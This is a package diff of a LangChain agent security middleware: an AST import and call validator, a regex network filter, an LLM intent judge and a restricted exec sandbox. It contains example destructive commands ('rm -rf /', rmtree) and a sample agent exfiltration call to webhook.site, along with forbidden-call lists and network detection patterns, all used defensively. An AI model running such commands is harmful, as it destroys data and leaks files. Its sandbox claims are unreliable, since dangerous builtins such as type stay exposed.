securellm-agentguard 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
agentguard/__init__.py ADDED
@@ -0,0 +1,13 @@
1
+ """
2
+ AgentGuard — Security middleware for LangChain agents.
3
+
4
+ Intercept, validate, and safely execute LLM-generated code
5
+ through a 3-layer security pipeline.
6
+ """
7
+
8
+ from agentguard.exceptions import SecurityBlockedError
9
+ from agentguard.policy import SecurityPolicy
10
+ from agentguard.tools.langchain_tool import SafePythonREPLTool
11
+
12
+ __version__ = "0.1.0"
13
+ __all__ = ["SecurityPolicy", "SafePythonREPLTool", "SecurityBlockedError"]
@@ -0,0 +1,28 @@
1
+ """
2
+ Custom exceptions for AgentGuard.
3
+ """
4
+
5
+
6
+ class SecurityBlockedError(Exception):
7
+ """
8
+ Raised when AgentGuard blocks code execution due to a security violation.
9
+
10
+ This exception is intentionally descriptive so that the LangChain agent
11
+ can receive it as feedback and self-correct its next action.
12
+
13
+ Example:
14
+ >>> raise SecurityBlockedError(
15
+ ... layer="AST Validator",
16
+ ... reason="Forbidden import detected: 'os'",
17
+ ... code="import os; os.system('rm -rf /')"
18
+ ... )
19
+ """
20
+
21
+ def __init__(self, layer: str, reason: str, code: str) -> None:
22
+ self.layer = layer
23
+ self.reason = reason
24
+ self.code = code
25
+ super().__init__(
26
+ f"[AgentGuard | {layer}] BLOCKED — {reason}. "
27
+ f"Rewrite the code without the forbidden operation."
28
+ )
@@ -0,0 +1,5 @@
1
+ """Judges package."""
2
+
3
+ from agentguard.judges.gemini_judge import SemanticJudge
4
+
5
+ __all__ = ["SemanticJudge"]
@@ -0,0 +1,68 @@
1
+ """
2
+ Layer 3 — Gemini Semantic Judge.
3
+
4
+ Uses a Gemini LLM to evaluate the semantic intent of code that
5
+ passed the static layers, catching subtle or obfuscated malicious logic.
6
+ """
7
+
8
+ from langchain_core.language_models import BaseChatModel
9
+ from langchain_core.messages import HumanMessage, SystemMessage
10
+
11
+ from agentguard.exceptions import SecurityBlockedError
12
+
13
+ _SYSTEM_PROMPT = """You are an expert security engineer reviewing code generated
14
+ by an AI agent.
15
+ Your ONLY job is to determine if the code has malicious or destructive intent.
16
+
17
+ Malicious intent includes:
18
+ - Attempting to exfiltrate data (send data to external services)
19
+ - Attempting to delete, overwrite, or corrupt files or databases
20
+ - Attempting to escalate privileges or bypass security controls
21
+ - Attempting to install or execute external programs
22
+
23
+ Respond with ONLY one of two words:
24
+ - SAFE → the code does what a legitimate data analysis task would do
25
+ - UNSAFE → the code appears to have malicious or destructive intent
26
+
27
+ Do NOT explain your reasoning. Do NOT add any other text."""
28
+
29
+
30
+ class SemanticJudge:
31
+ """
32
+ Validates the semantic intent of code using a Gemini LLM.
33
+
34
+ This is Layer 3 of the AgentGuard pipeline — the last resort for
35
+ catching sophisticated attacks that evaded static analysis.
36
+
37
+ The judge uses a strict binary prompt (SAFE/UNSAFE) on a fast,
38
+ cheap model (gemini-2.0-flash recommended) to minimise latency.
39
+ """
40
+
41
+ def __init__(self, llm: BaseChatModel) -> None:
42
+ self._llm = llm
43
+
44
+ def validate(self, code: str) -> None:
45
+ """
46
+ Ask the LLM to evaluate the intent of the code.
47
+
48
+ Args:
49
+ code: Raw Python source code generated by the LLM agent.
50
+
51
+ Raises:
52
+ SecurityBlockedError: If the judge returns UNSAFE.
53
+ """
54
+ messages = [
55
+ SystemMessage(content=_SYSTEM_PROMPT),
56
+ HumanMessage(content=f"```python\n{code}\n```"),
57
+ ]
58
+ response = self._llm.invoke(messages)
59
+ verdict = str(response.content).strip().upper()
60
+
61
+ if verdict != "SAFE":
62
+ raise SecurityBlockedError(
63
+ layer="Semantic Judge (Gemini)",
64
+ reason=(
65
+ "LLM analysis detected potentially malicious intent in the code."
66
+ ),
67
+ code=code,
68
+ )
agentguard/policy.py ADDED
@@ -0,0 +1,47 @@
1
+ """
2
+ SecurityPolicy — Pydantic model defining the rules for AgentGuard.
3
+ """
4
+
5
+ from pydantic import BaseModel, Field
6
+
7
+
8
+ class SecurityPolicy(BaseModel):
9
+ """
10
+ Defines the security rules applied by AgentGuard's pipeline.
11
+
12
+ Attributes:
13
+ allowed_modules: Python modules the agent is allowed to import.
14
+ Defaults to a safe minimal set.
15
+ allowed_domains: Hostnames/domains the agent is allowed to call.
16
+ Use an empty list to block ALL network access.
17
+ use_semantic_judge: Whether to enable the LLM-based semantic analysis
18
+ (Layer 3). Requires a GEMINI_API_KEY. Disabling it speeds up
19
+ execution but reduces detection of subtle malicious intent.
20
+ execution_timeout: Maximum seconds allowed for code execution.
21
+
22
+ Example:
23
+ >>> policy = SecurityPolicy(
24
+ ... allowed_modules=["pandas", "json"],
25
+ ... allowed_domains=["api.github.com"],
26
+ ... use_semantic_judge=True,
27
+ ... )
28
+ """
29
+
30
+ allowed_modules: list[str] = Field(
31
+ default=["math", "json", "re", "datetime", "collections"],
32
+ description="Whitelist of importable Python modules.",
33
+ )
34
+ allowed_domains: list[str] = Field(
35
+ default=[],
36
+ description="Whitelist of allowed network domains. Empty = no network.",
37
+ )
38
+ use_semantic_judge: bool = Field(
39
+ default=True,
40
+ description="Enable LLM-based semantic analysis (Layer 3).",
41
+ )
42
+ execution_timeout: int = Field(
43
+ default=10,
44
+ ge=1,
45
+ le=60,
46
+ description="Max seconds for code execution.",
47
+ )
@@ -0,0 +1,5 @@
1
+ """Tools package."""
2
+
3
+ from agentguard.tools.langchain_tool import SafePythonREPLTool
4
+
5
+ __all__ = ["SafePythonREPLTool"]
@@ -0,0 +1,266 @@
1
+ """
2
+ LangChain integration — SafePythonREPLTool.
3
+
4
+ A drop-in replacement for LangChain's PythonREPLTool that runs
5
+ all code through the AgentGuard 3-layer security pipeline before execution.
6
+ """
7
+
8
+ import io
9
+ import threading
10
+ import warnings
11
+ from contextlib import redirect_stdout
12
+
13
+ from langchain_core.callbacks import CallbackManagerForToolRun
14
+ from langchain_core.language_models import BaseChatModel
15
+ from langchain_core.tools import BaseTool
16
+ from pydantic import BaseModel, Field
17
+
18
+ from agentguard.exceptions import SecurityBlockedError
19
+ from agentguard.judges.gemini_judge import SemanticJudge
20
+ from agentguard.policy import SecurityPolicy
21
+ from agentguard.validators.ast_validator import ASTValidator
22
+ from agentguard.validators.network_filter import NetworkFilter
23
+
24
+ # Builtins that are safe to expose to LLM-generated code.
25
+ # This whitelist explicitly excludes dangerous functions like
26
+ # exec, eval, compile, open, __import__, getattr, setattr, delattr.
27
+ _SAFE_BUILTINS: dict = {
28
+ # Types & constructors
29
+ "bool": bool,
30
+ "int": int,
31
+ "float": float,
32
+ "str": str,
33
+ "list": list,
34
+ "dict": dict,
35
+ "tuple": tuple,
36
+ "set": set,
37
+ "frozenset": frozenset,
38
+ "bytes": bytes,
39
+ "bytearray": bytearray,
40
+ "complex": complex,
41
+ "type": type,
42
+ # Iteration & ranges
43
+ "range": range,
44
+ "enumerate": enumerate,
45
+ "zip": zip,
46
+ "map": map,
47
+ "filter": filter,
48
+ "reversed": reversed,
49
+ "iter": iter,
50
+ "next": next,
51
+ # Aggregation
52
+ "len": len,
53
+ "min": min,
54
+ "max": max,
55
+ "sum": sum,
56
+ "abs": abs,
57
+ "round": round,
58
+ "sorted": sorted,
59
+ "any": any,
60
+ "all": all,
61
+ # String & representation
62
+ "print": print,
63
+ "repr": repr,
64
+ "format": format,
65
+ "chr": chr,
66
+ "ord": ord,
67
+ "ascii": ascii,
68
+ "hex": hex,
69
+ "oct": oct,
70
+ "bin": bin,
71
+ # Type checking
72
+ "isinstance": isinstance,
73
+ "issubclass": issubclass,
74
+ "callable": callable,
75
+ "hasattr": hasattr,
76
+ # Conversion & introspection
77
+ "id": id,
78
+ "hash": hash,
79
+ "dir": dir,
80
+ "vars": vars,
81
+ "input": None, # Explicitly blocked — agents should not prompt for input
82
+ # Exceptions (so the code can use try/except)
83
+ "Exception": Exception,
84
+ "ValueError": ValueError,
85
+ "TypeError": TypeError,
86
+ "KeyError": KeyError,
87
+ "IndexError": IndexError,
88
+ "AttributeError": AttributeError,
89
+ "RuntimeError": RuntimeError,
90
+ "StopIteration": StopIteration,
91
+ "ZeroDivisionError": ZeroDivisionError,
92
+ "FileNotFoundError": FileNotFoundError,
93
+ "NotImplementedError": NotImplementedError,
94
+ # Booleans & None
95
+ "True": True,
96
+ "False": False,
97
+ "None": None,
98
+ }
99
+
100
+
101
+ class _CodeInput(BaseModel):
102
+ """Input schema for the SafePythonREPLTool."""
103
+
104
+ code: str = Field(description="The Python code to execute.")
105
+
106
+
107
+ class SafePythonREPLTool(BaseTool):
108
+ """
109
+ A secure Python REPL tool for LangChain agents.
110
+
111
+ Runs LLM-generated code through AgentGuard's 3-layer security pipeline:
112
+ 1. AST Static Validator — blocks forbidden imports and built-in calls.
113
+ 2. Network Filter — blocks calls to non-whitelisted domains.
114
+ 3. Semantic Judge (optional) — uses Gemini to detect subtle malicious intent.
115
+
116
+ If any layer raises a SecurityBlockedError, the error message is returned
117
+ to the agent as tool output, allowing it to self-correct.
118
+
119
+ Usage:
120
+ >>> from agentguard import SafePythonREPLTool, SecurityPolicy
121
+ >>> from langchain_google_genai import ChatGoogleGenerativeAI
122
+ >>>
123
+ >>> policy = SecurityPolicy(
124
+ ... allowed_modules=["pandas", "json"],
125
+ ... use_semantic_judge=True,
126
+ ... )
127
+ >>> judge_llm = ChatGoogleGenerativeAI(model="gemini-1.5-flash")
128
+ >>> tool = SafePythonREPLTool(policy=policy, judge_llm=judge_llm)
129
+ """
130
+
131
+ name: str = "safe_python_repl"
132
+ description: str = (
133
+ "A secure Python interpreter. Use it to execute Python code. "
134
+ "Dangerous operations (system calls, forbidden imports, data exfiltration) "
135
+ "will be blocked and you will be asked to rewrite the code."
136
+ )
137
+ args_schema: type[BaseModel] = _CodeInput
138
+ policy: SecurityPolicy = Field(default_factory=SecurityPolicy)
139
+ judge_llm: BaseChatModel | None = None
140
+
141
+ def model_post_init(self, __context: object) -> None:
142
+ """Warn if semantic judge is enabled but no LLM is provided."""
143
+ if self.policy.use_semantic_judge and self.judge_llm is None:
144
+ warnings.warn(
145
+ "[AgentGuard] use_semantic_judge=True but no judge_llm was provided. "
146
+ "Layer 3 (Semantic Judge) will be SKIPPED. "
147
+ "Pass a judge_llm to enable it, "
148
+ "or set use_semantic_judge=False to suppress this warning.",
149
+ UserWarning,
150
+ stacklevel=2,
151
+ )
152
+
153
+ def _run(
154
+ self,
155
+ code: str,
156
+ run_manager: CallbackManagerForToolRun | None = None,
157
+ ) -> str:
158
+ """
159
+ Execute the 3-layer pipeline and run the code if all checks pass.
160
+
161
+ Returns a string result (either code output or a SecurityBlockedError
162
+ message for agent self-correction).
163
+ """
164
+ try:
165
+ return self._execute_pipeline(code)
166
+ except SecurityBlockedError as exc:
167
+ return str(exc)
168
+
169
+ def _execute_pipeline(self, code: str) -> str:
170
+ """Run validation layers then execute the code in a sandboxed env."""
171
+ # ── Layer 1: AST Static Analysis ──────────────────────────────────
172
+ ASTValidator(self.policy).validate(code)
173
+
174
+ # ── Layer 2: Network Filter ────────────────────────────────────────
175
+ NetworkFilter(self.policy).validate(code)
176
+
177
+ # ── Layer 3: Semantic Judge (optional) ────────────────────────────
178
+ if self.policy.use_semantic_judge and self.judge_llm is not None:
179
+ SemanticJudge(self.judge_llm).validate(code)
180
+
181
+ # ── All checks passed — execute safely with timeout ───────────────
182
+ return self._safe_exec(code)
183
+
184
+ def _safe_exec(self, code: str) -> str:
185
+ """
186
+ Execute code in a sandboxed environment with:
187
+ - Restricted builtins (no exec/eval/open)
188
+ - A controlled __import__ that only allows policy-whitelisted modules
189
+ - stdout capture (print statements are returned)
190
+ - Timeout enforcement (SecurityPolicy.execution_timeout)
191
+ """
192
+ local_vars: dict = {}
193
+ stdout_capture = io.StringIO()
194
+ exec_error: list[Exception] = []
195
+
196
+ # Build builtins with a restricted __import__ for this execution
197
+ sandboxed_builtins = {**_SAFE_BUILTINS}
198
+ sandboxed_builtins["__import__"] = self._make_restricted_import()
199
+
200
+ def _target() -> None:
201
+ try:
202
+ with redirect_stdout(stdout_capture):
203
+ exec(code, {"__builtins__": sandboxed_builtins}, local_vars) # noqa: S102
204
+ except Exception as exc:
205
+ exec_error.append(exc)
206
+
207
+ thread = threading.Thread(target=_target, daemon=True)
208
+ thread.start()
209
+ thread.join(timeout=self.policy.execution_timeout)
210
+
211
+ if thread.is_alive():
212
+ return (
213
+ f"[AgentGuard] TIMEOUT — Code execution exceeded "
214
+ f"{self.policy.execution_timeout}s limit. "
215
+ f"Rewrite the code to be faster or reduce the data size."
216
+ )
217
+
218
+ if exec_error:
219
+ return f"Execution error: {exec_error[0]}"
220
+
221
+ # Build output from stdout and/or the 'result' variable
222
+ printed = stdout_capture.getvalue()
223
+ result = local_vars.get("result", None)
224
+
225
+ parts: list[str] = []
226
+ if printed.strip():
227
+ parts.append(printed.strip())
228
+ if result is not None:
229
+ parts.append(str(result))
230
+
231
+ if parts:
232
+ return "\n".join(parts)
233
+ return "Code executed successfully (no output produced)."
234
+
235
+ def _make_restricted_import(self): # noqa: ANN202
236
+ """
237
+ Create a restricted __import__ that only allows policy-whitelisted modules.
238
+
239
+ This is necessary because Python's `import X` statement internally calls
240
+ `__import__('X', ...)`. Without this, any code using `import` inside
241
+ the sandboxed exec() would fail — even for allowed modules like `math`.
242
+
243
+ Safety note: by the time code reaches _safe_exec, it has already passed
244
+ the AST validator which checks that only whitelisted modules are imported.
245
+ This restricted __import__ is a defense-in-depth measure.
246
+ """
247
+ allowed = set(self.policy.allowed_modules)
248
+
249
+ def _restricted_import(
250
+ name: str,
251
+ globals: dict = None, # noqa: A002
252
+ locals: dict = None, # noqa: A002
253
+ fromlist: tuple = (),
254
+ level: int = 0,
255
+ ): # noqa: ANN202
256
+ root_module = name.split(".")[0]
257
+ if root_module not in allowed:
258
+ raise ImportError(
259
+ f"Import of '{root_module}' is not allowed by the security policy."
260
+ )
261
+ # Use the built-in __import__ directly — avoids the __builtins__
262
+ # dict vs. module ambiguity that varies across Python implementations.
263
+ return __import__(name, globals or {}, locals or {}, fromlist, level)
264
+
265
+ return _restricted_import
266
+
@@ -0,0 +1,6 @@
1
+ """Validators package."""
2
+
3
+ from agentguard.validators.ast_validator import ASTValidator
4
+ from agentguard.validators.network_filter import NetworkFilter
5
+
6
+ __all__ = ["ASTValidator", "NetworkFilter"]
@@ -0,0 +1,102 @@
1
+ """
2
+ Layer 1 — AST Static Validator.
3
+
4
+ Analyses the Abstract Syntax Tree of LLM-generated code
5
+ without executing it, blocking forbidden imports and system calls.
6
+ """
7
+
8
+ import ast
9
+
10
+ from agentguard.exceptions import SecurityBlockedError
11
+ from agentguard.policy import SecurityPolicy
12
+
13
+ # Calls that are unconditionally forbidden, regardless of the policy.
14
+ _FORBIDDEN_CALLS: set[str] = {
15
+ # Code execution
16
+ "exec",
17
+ "eval",
18
+ "compile",
19
+ "__import__",
20
+ # File system access
21
+ "open",
22
+ # Attribute manipulation (evasion vectors)
23
+ "getattr",
24
+ "setattr",
25
+ "delattr",
26
+ # Runtime introspection (sandbox escape)
27
+ "globals",
28
+ "locals",
29
+ }
30
+
31
+
32
+ class ASTValidator:
33
+ """
34
+ Validates Python source code using static AST analysis.
35
+
36
+ This is Layer 1 of the AgentGuard pipeline. It is fast (no I/O,
37
+ no network) and catches the most obvious attack vectors.
38
+ """
39
+
40
+ def __init__(self, policy: SecurityPolicy) -> None:
41
+ self._policy = policy
42
+
43
+ def validate(self, code: str) -> None:
44
+ """
45
+ Parse and inspect the code AST.
46
+
47
+ Args:
48
+ code: Raw Python source code generated by the LLM agent.
49
+
50
+ Raises:
51
+ SecurityBlockedError: If the code contains forbidden imports
52
+ or dangerous built-in calls.
53
+ SyntaxError: If the code is not valid Python.
54
+ """
55
+ try:
56
+ tree = ast.parse(code)
57
+ except SyntaxError as exc:
58
+ raise SecurityBlockedError(
59
+ layer="AST Validator",
60
+ reason=f"Invalid Python syntax: {exc}",
61
+ code=code,
62
+ ) from exc
63
+
64
+ for node in ast.walk(tree):
65
+ self._check_imports(node, code)
66
+ self._check_calls(node, code)
67
+
68
+ def _check_imports(self, node: ast.AST, code: str) -> None:
69
+ """Block any import not explicitly whitelisted in the policy."""
70
+ if isinstance(node, ast.Import):
71
+ for alias in node.names:
72
+ module = alias.name.split(".")[0]
73
+ if module not in self._policy.allowed_modules:
74
+ raise SecurityBlockedError(
75
+ layer="AST Validator",
76
+ reason=f"Forbidden import detected: '{module}'",
77
+ code=code,
78
+ )
79
+ elif isinstance(node, ast.ImportFrom):
80
+ module = (node.module or "").split(".")[0]
81
+ if module not in self._policy.allowed_modules:
82
+ raise SecurityBlockedError(
83
+ layer="AST Validator",
84
+ reason=f"Forbidden import detected: '{module}'",
85
+ code=code,
86
+ )
87
+
88
+ def _check_calls(self, node: ast.AST, code: str) -> None:
89
+ """Block unconditionally dangerous built-in calls."""
90
+ if isinstance(node, ast.Call):
91
+ func_name: str | None = None
92
+ if isinstance(node.func, ast.Name):
93
+ func_name = node.func.id
94
+ elif isinstance(node.func, ast.Attribute):
95
+ func_name = node.func.attr
96
+
97
+ if func_name and func_name in _FORBIDDEN_CALLS:
98
+ raise SecurityBlockedError(
99
+ layer="AST Validator",
100
+ reason=f"Forbidden built-in call detected: '{func_name}'",
101
+ code=code,
102
+ )
@@ -0,0 +1,134 @@
1
+ """
2
+ Layer 2 — Network Filter.
3
+
4
+ Uses regex to detect network calls targeting domains
5
+ not explicitly whitelisted in the SecurityPolicy.
6
+ Covers: requests, urllib, httpx, aiohttp, socket.
7
+ """
8
+
9
+ import re
10
+
11
+ from agentguard.exceptions import SecurityBlockedError
12
+ from agentguard.policy import SecurityPolicy
13
+
14
+ # Pattern 1: URL strings in common HTTP library calls
15
+ # Matches requests.get("url"), httpx.get("url"), etc.
16
+ _HTTP_CALL_PATTERN: re.Pattern[str] = re.compile(
17
+ r"""(?:requests|httpx|aiohttp)\.(get|post|put|delete|patch|head|request)\s*\(\s*['"]([^'"]+)['"]""",
18
+ re.IGNORECASE,
19
+ )
20
+
21
+ # Pattern 2: Bare URL strings (https://... or http://...)
22
+ _URL_LITERAL_PATTERN: re.Pattern[str] = re.compile(
23
+ r"""['"]https?://([^/'"]+)""",
24
+ re.IGNORECASE,
25
+ )
26
+
27
+ # Pattern 3: urllib calls — urlopen("url"), urlretrieve("url"), Request("url")
28
+ _URLLIB_PATTERN: re.Pattern[str] = re.compile(
29
+ r"""(?:urlopen|urlretrieve|Request)\s*\(\s*['"]https?://([^/'"]+)""",
30
+ re.IGNORECASE,
31
+ )
32
+
33
+ # Pattern 4: Low-level socket connections — socket.connect(("host", port))
34
+ _SOCKET_PATTERN: re.Pattern[str] = re.compile(
35
+ r"""\.connect\s*\(\s*\(\s*['"]([^'"]+)['"]\s*,""",
36
+ re.IGNORECASE,
37
+ )
38
+
39
+ # Imports that signal network capability
40
+ _NETWORK_IMPORTS: set[str] = {
41
+ "requests",
42
+ "httpx",
43
+ "aiohttp",
44
+ "urllib",
45
+ "socket",
46
+ "http",
47
+ }
48
+
49
+
50
+ class NetworkFilter:
51
+ """
52
+ Validates network access in LLM-generated code against the policy whitelist.
53
+
54
+ This is Layer 2 of the AgentGuard pipeline. It scans source code as
55
+ plain text using regex patterns to detect outbound network calls.
56
+ Covers: requests, httpx, aiohttp, urllib, and raw socket connections.
57
+
58
+ Note:
59
+ This layer is heuristic by nature. Sophisticated obfuscation may
60
+ evade it — that is precisely why Layer 3 (semantic judge) exists.
61
+ """
62
+
63
+ def __init__(self, policy: SecurityPolicy) -> None:
64
+ self._policy = policy
65
+
66
+ def validate(self, code: str) -> None:
67
+ """
68
+ Scan the code for network calls and check domains against the whitelist.
69
+
70
+ Args:
71
+ code: Raw Python source code generated by the LLM agent.
72
+
73
+ Raises:
74
+ SecurityBlockedError: If a network call targets a non-whitelisted
75
+ domain, or if any network call is detected when the whitelist
76
+ is empty (meaning all network access is forbidden).
77
+ """
78
+ domains = self._extract_all_domains(code)
79
+
80
+ if not domains:
81
+ return # No network calls detected — pass
82
+
83
+ # If the whitelist is empty, ALL network access is forbidden
84
+ if not self._policy.allowed_domains:
85
+ raise SecurityBlockedError(
86
+ layer="Network Filter",
87
+ reason="Network access is forbidden by the security policy.",
88
+ code=code,
89
+ )
90
+
91
+ for domain in domains:
92
+ is_allowed = any(
93
+ domain.endswith(allowed) for allowed in self._policy.allowed_domains
94
+ )
95
+ if not is_allowed:
96
+ raise SecurityBlockedError(
97
+ layer="Network Filter",
98
+ reason=f"Network call to non-whitelisted domain: '{domain}'",
99
+ code=code,
100
+ )
101
+
102
+ def _extract_all_domains(self, code: str) -> set[str]:
103
+ """Extract all unique domains from detected network patterns."""
104
+ domains: set[str] = set()
105
+
106
+ # HTTP library calls: requests.get("https://..."),
107
+ # httpx.post("https://..."), etc.
108
+ for _, url in _HTTP_CALL_PATTERN.findall(code):
109
+ domains.add(self._extract_domain(url))
110
+
111
+ # Bare URL literals
112
+ for host in _URL_LITERAL_PATTERN.findall(code):
113
+ domains.add(self._clean_domain(host))
114
+
115
+ # urllib calls
116
+ for host in _URLLIB_PATTERN.findall(code):
117
+ domains.add(self._clean_domain(host))
118
+
119
+ # Raw socket connections
120
+ for host in _SOCKET_PATTERN.findall(code):
121
+ domains.add(self._clean_domain(host))
122
+
123
+ return domains
124
+
125
+ @staticmethod
126
+ def _extract_domain(url: str) -> str:
127
+ """Extract the base domain from a full URL string."""
128
+ url = url.split("//")[-1] # strip scheme
129
+ return url.split("/")[0].split("?")[0].split(":")[0] # strip path, query & port
130
+
131
+ @staticmethod
132
+ def _clean_domain(host: str) -> str:
133
+ """Clean up a raw host string."""
134
+ return host.split("/")[0].split("?")[0].split(":")[0]
@@ -0,0 +1,250 @@
1
+ Metadata-Version: 2.4
2
+ Name: securellm-agentguard
3
+ Version: 0.1.0
4
+ Summary: 🛡️ A security middleware for LangChain agents — intercept, validate and safely execute LLM-generated code.
5
+ Keywords: langchain,llm,ai-safety,agentic-ai,security,gemini
6
+ Author: Thomas LEON
7
+ Author-email: Thomas.leon1707@gmail.com
8
+ Requires-Python: >=3.11,<4.0
9
+ Classifier: Development Status :: 3 - Alpha
10
+ Classifier: Intended Audience :: Developers
11
+ Classifier: License :: OSI Approved :: MIT License
12
+ Classifier: Programming Language :: Python :: 3
13
+ Classifier: Programming Language :: Python :: 3.11
14
+ Classifier: Programming Language :: Python :: 3.12
15
+ Classifier: Programming Language :: Python :: 3.13
16
+ Classifier: Programming Language :: Python :: 3.14
17
+ Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
18
+ Classifier: Topic :: Security
19
+ Provides-Extra: examples
20
+ Provides-Extra: gemini
21
+ Requires-Dist: langchain (>=0.2)
22
+ Requires-Dist: langchain-core (>=0.2)
23
+ Requires-Dist: pydantic (>=2.0,<3.0)
24
+ Requires-Dist: python-dotenv (>=1.0,<2.0) ; extra == "examples"
25
+ Project-URL: Homepage, https://github.com/Thomas-LEON/agentguard
26
+ Project-URL: Repository, https://github.com/Thomas-LEON/agentguard
27
+ Description-Content-Type: text/markdown
28
+
29
+ # 🛡️ AgentGuard
30
+
31
+ > **A security middleware for LangChain agents** — intercept, validate and safely execute LLM-generated code.
32
+
33
+ [![CI](https://github.com/Thomas-LEON/agentguard/actions/workflows/ci.yml/badge.svg)](https://github.com/Thomas-LEON/agentguard/actions)
34
+ [![Python](https://img.shields.io/badge/python-3.11%2B-blue.svg)](https://www.python.org)
35
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
36
+ [![Code style: ruff](https://img.shields.io/badge/code%20style-ruff-red.svg)](https://github.com/astral-sh/ruff)
37
+
38
+ ---
39
+
40
+ ## 🤔 The Problem
41
+
42
+ Modern LangChain agents are powerful because they can **generate and execute Python code** autonomously. But this power is a double-edged sword.
43
+
44
+ A single malicious prompt or a hallucination can lead an agent to generate code like this:
45
+
46
+ ```python
47
+ # An agent asked to "clean up temp files" might generate:
48
+ import os
49
+ import shutil
50
+ shutil.rmtree("/var/data/users") # 💀 Oops.
51
+ ```
52
+
53
+ There is no native guardrail in LangChain to prevent this.
54
+
55
+ **AgentGuard is that guardrail.**
56
+
57
+ ---
58
+
59
+ ## ✅ The Solution
60
+
61
+ AgentGuard wraps your agent's code execution tool in a **3-layer security pipeline**. Before any LLM-generated code runs, it must pass through all three layers:
62
+
63
+ ```mermaid
64
+ flowchart TD
65
+ A["🤖 LLM Agent generates code"] --> B{"🔍 Layer 1: AST Validator"}
66
+ B -->|"✅ Pass"| C{"🌐 Layer 2: Network Filter"}
67
+ B -->|"❌ Blocked"| E["🛡️ SecurityBlockedError\n→ Agent self-corrects"]
68
+ C -->|"✅ Pass"| D{"🧠 Layer 3: Semantic Judge"}
69
+ C -->|"❌ Blocked"| E
70
+ D -->|"✅ SAFE"| F["⚡ Sandboxed exec()\n→ Result back to Agent"]
71
+ D -->|"❌ UNSAFE"| E
72
+
73
+ style A fill:#4a9eff,color:#fff
74
+ style B fill:#ff9f43,color:#fff
75
+ style C fill:#ff9f43,color:#fff
76
+ style D fill:#ff9f43,color:#fff
77
+ style E fill:#ee5a24,color:#fff
78
+ style F fill:#2ed573,color:#fff
79
+ ```
80
+
81
+ If any layer blocks the code, the agent receives a **descriptive error** and **self-corrects** — no crash, no data loss.
82
+
83
+ ---
84
+
85
+ ## 🛡️ How it works in Action
86
+
87
+ When an agent attempts to execute unauthorized system operations, AgentGuard intercepts the execution and provides a self-healing feedback loop back to the LLM:
88
+
89
+ ```text
90
+ > Entering new AgentExecutor chain...
91
+
92
+ Thought: I need to read the local files and send them to a webhook.
93
+ Action: safe_python_repl
94
+ Action Input:
95
+ import os
96
+ import requests
97
+ files = os.listdir('.')
98
+ requests.post('https://webhook.site/test', json={"files": files})
99
+
100
+ Observation: [AgentGuard | AST Validator] 🔴 BLOCKED — Forbidden import detected: 'os'. Rewrite the code without the forbidden operation.
101
+ Thought: I am not allowed to use the 'os' module to read files. I cannot fulfill this request as it requires system access.
102
+ Final Answer: 🛑 I am sorry, but I am restricted from accessing the local file system or sending data to external webhooks due to security policies.
103
+ ```
104
+
105
+ ---
106
+
107
+ ## 🚀 Quick Start
108
+
109
+ ```bash
110
+ pip install securellm-agentguard
111
+ ```
112
+
113
+ ```python
114
+ import os
115
+ from agentguard import SafePythonREPLTool, SecurityPolicy
116
+ from langchain_google_genai import ChatGoogleGenerativeAI
117
+
118
+ os.environ["GEMINI_API_KEY"] = "your-api-key"
119
+
120
+ # Define your security rules
121
+ policy = SecurityPolicy(
122
+ allowed_modules=["pandas", "json", "math"],
123
+ allowed_domains=["api.github.com"],
124
+ use_semantic_judge=True,
125
+ )
126
+
127
+ # Layer 3 requires a Gemini LLM (optional — Layers 1 & 2 work without it)
128
+ judge_llm = ChatGoogleGenerativeAI(model="gemini-2.0-flash")
129
+ safe_repl = SafePythonREPLTool(policy=policy, judge_llm=judge_llm)
130
+
131
+ # Use it in your LangChain agent instead of PythonREPLTool
132
+ # agent = create_react_agent(llm=your_llm, tools=[safe_repl])
133
+ ```
134
+
135
+ ---
136
+
137
+ ## ⚙️ SecurityPolicy Options
138
+
139
+ | Parameter | Type | Default | Description |
140
+ |---|---|---|---|
141
+ | `allowed_modules` | `list[str]` | `["math", "json", ...]` | Whitelisted Python modules |
142
+ | `allowed_domains` | `list[str]` | `[]` (block all) | Whitelisted network domains |
143
+ | `use_semantic_judge` | `bool` | `True` | Enable Gemini LLM analysis |
144
+ | `execution_timeout` | `int` | `10` | Max execution seconds |
145
+
146
+ ---
147
+
148
+ ## 🔒 Security Layers in Detail
149
+
150
+ ### Layer 1 — AST Static Validator
151
+
152
+ Uses Python's native `ast` module to parse the code **without executing it**.
153
+
154
+ **Blocks:**
155
+ - Any `import` not explicitly whitelisted in `allowed_modules`
156
+ - `from X import Y` style imports of non-whitelisted modules
157
+ - Dangerous built-in calls: `exec`, `eval`, `compile`, `open`, `__import__`
158
+ - Sandbox escape vectors: `getattr`, `setattr`, `delattr`, `globals`, `locals`
159
+
160
+ **Speed:** ~0.1ms — no I/O, no network, pure AST traversal.
161
+
162
+ ### Layer 2 — Network Filter
163
+
164
+ Uses regex patterns to detect outbound network calls and validates target domains against the whitelist.
165
+
166
+ **Detects:**
167
+ - `requests.get/post/put/delete/patch/head`
168
+ - `httpx` and `aiohttp` calls
169
+ - `urllib.request.urlopen` and `urlretrieve`
170
+ - Raw `socket.connect()` calls
171
+ - Bare URL literals (`https://...`)
172
+
173
+ An empty `allowed_domains` list blocks **all** network access.
174
+
175
+ ### Layer 3 — Semantic Judge (Gemini)
176
+
177
+ For subtle attacks that evade static analysis (e.g. a loop that deletes files one-by-one), the code is sent to `gemini-1.5-flash` with a strict binary prompt.
178
+
179
+ **Verdict:** Only code classified as `SAFE` passes. Anything else (including ambiguous responses) is blocked — **fail-closed by design**.
180
+
181
+ **Catches:** Data exfiltration, privilege escalation, destructive file operations, obfuscated malicious intent.
182
+
183
+ ### Sandboxed Execution
184
+
185
+ Code that passes all 3 layers runs in a restricted environment:
186
+ - **Safe builtins only** — `print`, `len`, `range`, etc. (no `exec`, `eval`, `open`)
187
+ - **stdout capture** — `print()` output is returned to the agent
188
+ - **Timeout enforcement** — configurable via `execution_timeout`
189
+ - **Thread isolation** — execution runs in a daemon thread
190
+
191
+ ---
192
+
193
+ ## 📁 Project Structure
194
+
195
+ ```
196
+ agentguard/
197
+ ├── agentguard/
198
+ │ ├── __init__.py # Public API exports
199
+ │ ├── policy.py # SecurityPolicy (Pydantic model)
200
+ │ ├── exceptions.py # SecurityBlockedError
201
+ │ ├── validators/
202
